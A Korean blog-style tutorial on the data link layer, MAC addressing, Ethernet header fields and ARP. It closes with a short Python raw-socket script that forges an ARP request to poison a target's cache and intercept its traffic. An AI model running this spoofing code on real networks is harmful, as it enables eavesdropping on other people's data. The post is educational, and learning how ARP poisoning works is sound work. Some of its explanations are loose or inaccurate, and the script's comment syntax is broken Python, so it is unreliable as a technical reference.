Data Link Layer
1계층인 물리 계층을 제외한 모든 계층은 소프트웨어와 관련이 있다.
1계층은 말그대로 물리 계층 이기에 기기와 관련이 깊기 때문에 다루지 않겠다. ( 완전하게 기계만 다루는 것은 아니다 )
2계층은 쉽게 가장 기본적인 네트워크 방식이 적용되는 곳이다.
그러기에 가장 신뢰도가 높다고 볼 수 있다.
쉽게 위와 같은 그림으로 설명이 가능하다. ( ARP poisioning 이라고 써있지만 밑에서 설명 하겠다 )
Hub 라고 하지만 라우터라고 생각해도 무방하다.
즉 결론 적으로 클라이언트 들을 라우터로 연결 시켜서 데이터를 주고 받는 곳이
데이터 링크 계층이라고 보면 된다.
데이터 링크 계층은
MAC 이라는 주소체계를 사용한다.
MAC 이란 클라이언트의 고유 번호 라고 생각하면 된다. 물론 변경이 가능하지만 변경된 사항 역시 라우터가 알고 있어야지
데이터를 전송할 수 있다. 즉 각각의 고유 번호를 알고 있고, 라우터가 그 정보를 가지고 있다면 작은 네트워크가 구성 되는 것이다.
그럼 어떤식으로 라우터는 각각의 MAC 주소를 알 수있을까?
답은
ARP 프로토콜을 이용하는 것이다, 각각의 계층에서 존재하는 프로토콜을 이용하는 것인대 MAC 주소를 알기 위한 프로토콜이라고
생각하면 쉽다.
위으 MAC Header 부분이 데이터 링크의 최소크기의 헤더이다.
1. 도착지의 물리주소 ( 6 byte )
2. 출발지의 물리주소 ( 6 byte )
3. 이더넷의 타입 ( 2 byte )
- IPv4 : 0x0800 // 가장 많이 쓰이는 타입, 기본적으로 우리가 사용하는 타입이라고 생각하면 된다.
- IPv6 : 0x86DD // 아직까진 대중화 되지는 않았다.
- ARP : 0x0806 // ARP 프로토콜 사용시 사용
! 하지만 여기서 물음표가 생기는 부분은 처음에 도착할 물리주소를 모르는대 어떻게 ARP 신호를 보내느냐 이다.
그래서 OS 마다 각각의 특징이 있다.
리눅스 같은 경우는 ARP 신호가 들어오면 그 신호를 보낸 클라이언트의 현재 자신의 물리주소를 보내준다.
윈도우 같은 경우 특정 시간마다 체크한다 ( ARP 스푸핑 방지 )
또한 요청하는 클라이언트는 보통 브로드밴드 신호를 통해서 ARP 신호를 보낸다.
ARP Posioning
ARP 스푸핑이라고도 한다. 뭐 틀린 말일수도 있지만 방식은 똑같다.
ARP 신호를 보낼때 타겟 주소에 다른 클라이언트가 요청한척 하면서 나의 MAC 주소를 넘긴다.
그럼 타겟 클리아언트가 데이터를 보낼때 다른 누군가에게 보냈지만 데이터는 나에게 오게 된다.
대충 이런 시나리오이다.
IP 는 다른 누군가의 IP 지만 MAC 주소는 내것으로 보내면 어떤 데이터를 주고 받는지 알수 있다.
밑의 예제는 내가 파이썬으로 짜본 예제이다.
test_send.py from socket import * from eth import * from arp import * raw_socket = socket( AF_PACKET, SOCK_RAW) raw_socket.bind(('eth0',SOCK_RAW)) eth = Eth() eth.src='00:55:55:55:55:50' // 보내는 MAC 주소를 내것으로 eth.dst='FF:FF:FF:FF:FF:FF' // 여긴 브로드밴드로 되어있지만 걍 타겟 MAC 주소 사용 eth.type=0x0806 // ARP 프로토콜 이용 arp = ARP() arp.hw_type = 0x0001 //하드웨어 타입은 1번 arp.pro_type = 0x0800 // 프로토콜 타입은 IPv4 arp.hw_len = 0x06 arp.pro_len = 0x04 arp.opcode = 0x0001 arp.src_mac = eth.src // 내 MAC 주소 arp.src_ip = '192.168.1.11' // 스푸핑할 IP 주소 ( 다른 3자) arp.dst_mac = '00:00:00:00:00:00' // 타겟 MAC 주소 arp.dst_ip = '192.168.1.10' // 타겟 IP 주소 tmp = eth.header + arp.header raw_socket.send(tmp)
이런식으로 ARP 스푸핑을 통해서 데이터의 정보를 받아올수있다.
'Network' 카테고리의 다른 글
01. OSI 7 Layer (0) | 2017.09.21 |
---|
댓글